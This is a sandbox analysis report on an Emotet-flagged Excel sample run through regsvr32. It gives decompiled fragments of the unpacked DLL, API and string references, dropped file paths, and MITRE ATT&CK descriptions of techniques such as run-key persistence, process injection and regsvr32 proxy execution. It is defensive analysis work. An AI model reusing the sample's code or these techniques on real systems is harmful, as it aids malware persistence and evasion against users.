Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: _wsopen_s
String ID: UTF-8$ccs=
API String ID: 2316899696-830595458
Opcode ID: d956365f7c5e37bc1d2d838042690930a574f636abc28eb1c0e2216d08484467
Instruction ID: e2e8bb8cc04450187fe41c497277d067d51793043a6ea77def07912bfe31bfd6
Opcode Fuzzy Hash: d956365f7c5e37bc1d2d838042690930a574f636abc28eb1c0e2216d08484467
Instruction Fuzzy Hash: 79216F7AA047C58EEB12CF22E8047897BA0F749BC8F585011EE899772ADB79C541CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1001C944 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1001C944(void* __edx, void* __rcx, void* __r9) {
				signed int _v24;
				char _v34;
				char _v296;
				char _v312;
				long _t13;
				void* _t16;
				signed int _t21;
				char _t22;
				void* _t24;
				signed long long _t34;
				signed long long _t35;
				void* _t36;
				intOrPtr* _t48;
				void* _t52;
				void* _t53;
				void* _t54;
				signed long long _t55;
				void* _t57;

				_t57 = __r9;
				_t24 = __edx;
				_t34 =  *0x100b1640; // 0xf93099fb11e7
				_t35 = _t34 ^ _t55;
				_v24 = _t35;
				r8d = 0x104;
				_t13 = GetModuleFileNameA(??, ??, ??);
				if(_t13 == 0 || _t13 == 0x104) {
					L12:
					__eflags = 0;
				} else {
					__imp__PathFindExtensionA();
					_t22 = "%s.dll"; // 0x642e7325
					_t48 =  &_v312;
					 *_t48 = _t22;
					 *((short*)(_t48 + 4)) =  *0x10099224 & 0x0000ffff;
					_t21 =  *0x10099226; // 0x0
					 *((char*)(_t48 + 6)) = _t21;
					if(_t35 -  &_v296 + 7 > 0x106) {
						goto L12;
					} else {
						_t56 =  &_v312;
						_t16 = E10033690(_t35, _t36, _t35,  &_v34 - _t35, _t52, _t53, _t54,  &_v312);
						if(_t16 != 0) {
							if(_t16 == 0xc) {
								L10:
								E1000E35C(_t21, _t24, _t32, _t57);
								asm("int3");
							} else {
								if(_t16 == 0x16 || _t16 == 0x22) {
									L9:
									E1000E3A4();
									asm("int3");
									goto L10;
								} else {
									_t32 = _t16 - 0x50;
									if(_t16 != 0x50) {
										E1000E3A4();
										asm("int3");
										goto L9;
									}
								}
							}
						}
						E1001C3CC( &_v296, _t56, _t57);
					}
				}
				return E1002FF40(_t21, _v24 ^ _t55);
			}

0x1001c944
0x1001c944
0x1001c94b
0x1001c952
0x1001c955
0x1001c969
0x1001c96f
0x1001c977
0x1001ca1a
0x1001ca1a
0x1001c988
0x1001c98d
0x1001c993
0x1001c999
0x1001c99e
0x1001c9a7
0x1001c9ab
0x1001c9b1
0x1001c9ca
0x00000000
0x1001c9cc
0x1001c9d4
0x1001c9df
0x1001c9e6
0x1001c9eb
0x1001ca08
0x1001ca08
0x1001ca0d
0x1001c9ed
0x1001c9f0
0x1001ca02
0x1001ca02
0x1001ca07
0x00000000
0x1001c9f7
0x1001c9f7
0x1001c9fa
0x1001c9fc
0x1001ca01
0x00000000
0x1001ca01
0x1001c9fa
0x1001c9f0
0x1001c9eb
0x1001ca13
0x1001ca13
0x1001c9ca
0x1001ca33

APIs

GetModuleFileNameA.KERNEL32 ref: 1001C96F
PathFindExtensionA.SHLWAPI ref: 1001C98D

Strings

%s.dll, xrefs: 1001C993

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ExtensionFileFindModuleNamePath
String ID: %s.dll
API String ID: 2295281026-3668843792
Opcode ID: 4080f9ba2a1e2e5cff0df1868935a02799a15d65c81042b529735e90f354a0b4
Instruction ID: 3c2693b2d557e9e9b6f0147a415b1651778ac4356ae17ccf98c2a3ccbc5d4064
Opcode Fuzzy Hash: 4080f9ba2a1e2e5cff0df1868935a02799a15d65c81042b529735e90f354a0b4
Instruction Fuzzy Hash: 7911B4752146CA82EB66CB25E4557AD63D0FB8C7C8F844422EACE8B724DE7CC5C4CB02

Uniqueness

Uniqueness Score: -1.00%

Function 10011740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

Part of subcall function 10029E64: ClientToScreen.USER32 ref: 10029E76
Part of subcall function 10029E64: GetWindow.USER32 ref: 10029E84
Part of subcall function 10029E64: GetDlgCtrlID.USER32 ref: 10029E95
Part of subcall function 10029E64: GetWindowLongA.USER32 ref: 10029EA8
Part of subcall function 10029E64: GetWindowRect.USER32 ref: 10029EBC
Part of subcall function 10029E64: PtInRect.USER32 ref: 10029ECC

GetDlgCtrlID.USER32 ref: 10011763
SendMessageA.USER32 ref: 1001179C

Strings

8, xrefs: 10011771

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$CtrlRect$ClientLongMessageScreenSend
String ID: 8
API String ID: 1956310361-4194326291
Opcode ID: cbd36e45cec7547cdf8f26814be4c22372d2e9a64c4e917dc29f37987b52e09b
Instruction ID: 4042a95be0f235604a6a49bf0eac9d5f530b9bee8c51f6a82d05c050b04aa3b8
Opcode Fuzzy Hash: cbd36e45cec7547cdf8f26814be4c22372d2e9a64c4e917dc29f37987b52e09b
Instruction Fuzzy Hash: DD01AD3661AB5086EB4A8B26AC057983664E749FF4F188324DE7D0B7D4DF38C4818710

Uniqueness

Uniqueness Score: -1.00%

Function 1000D7E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31windowCOMMON

Download Yara Rule

APIs

BitBlt.GDI32 ref: 1000D82F
SelectObject.GDI32 ref: 1000D842

Strings

, xrefs: 1000D7F8

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: 23a82ad429c445d88a9c713744045a2d362a76116ce77810c53e7eb1d218d0b5
Instruction ID: a693c70e6b583b65070db03d8c9522f2468420d25409c2933f6f4a21f075cb00
Opcode Fuzzy Hash: 23a82ad429c445d88a9c713744045a2d362a76116ce77810c53e7eb1d218d0b5
Instruction Fuzzy Hash: 35012876214B80C6DB51CF29E48471D77A5F388FA8F245215DE9E07768CF39C486CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1001E20C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29registryCOMMON

Download Yara Rule

APIs

Part of subcall function 1001E0F0: RegOpenKeyExA.ADVAPI32 ref: 1001E133
Part of subcall function 1001E0F0: RegCreateKeyExA.ADVAPI32 ref: 1001E186
Part of subcall function 1001E0F0: RegCreateKeyExA.ADVAPI32 ref: 1001E1D2
Part of subcall function 1001E0F0: RegCloseKey.ADVAPI32 ref: 1001E1E5
Part of subcall function 1001E0F0: RegCloseKey.ADVAPI32 ref: 1001E1F8

RegCreateKeyExA.ADVAPI32 ref: 1001E26D
RegCloseKey.ADVAPI32 ref: 1001E276

Strings

Settings, xrefs: 1001E20E

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: Settings
API String ID: 1740278721-473154195
Opcode ID: e79d1f3d8b2576b8ae4237c5e2bc9e721d3189f79d48f8099e0bce1a93aa469f
Instruction ID: fdb717247cb311e1786038636c11125965cba31b7cae2145a141e93366e3756a
Opcode Fuzzy Hash: e79d1f3d8b2576b8ae4237c5e2bc9e721d3189f79d48f8099e0bce1a93aa469f
Instruction Fuzzy Hash: 1EF03A36214B8486EBA18B11F94874AB2A5FB8CBD8F845124DFCD47B54EF7CC0988B00

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4470_02112022.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll

C:\Users\user\AppData\Local\Temp\~DF73B80FE68F2FEB1E.TMP

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\9X79YCCF.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\D3A8EJJ9.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\FJW3SUUT.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\JZYF2U5D.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\RLNYM7EL.txt

C:\Users\user\Desktop\4470_02112022.xls

C:\Users\user\oxnv4.ooccxx

C:\Windows\System32\XXKTOC\CASBb.dll (copy)

Static File Info

General

Windows Analysis Report
4470_02112022.xls

Function 001F0000 Relevance: 51.7, APIs: 3, Strings: 26, Instructions: 953
memoryCOMMON

Function 100073A4 Relevance: 26.6, Strings: 21, Instructions: 327
COMMONCrypto

Function 10031FC0 Relevance: 15.2, APIs: 10, Instructions: 150
memoryCOMMON

Function 0000000180009AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145
processCOMMON

Function 00000001800143B4 Relevance: 7.1, Strings: 5, Instructions: 891
COMMON

Function 000000018001A788 Relevance: 5.2, Strings: 4, Instructions: 212
COMMON

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre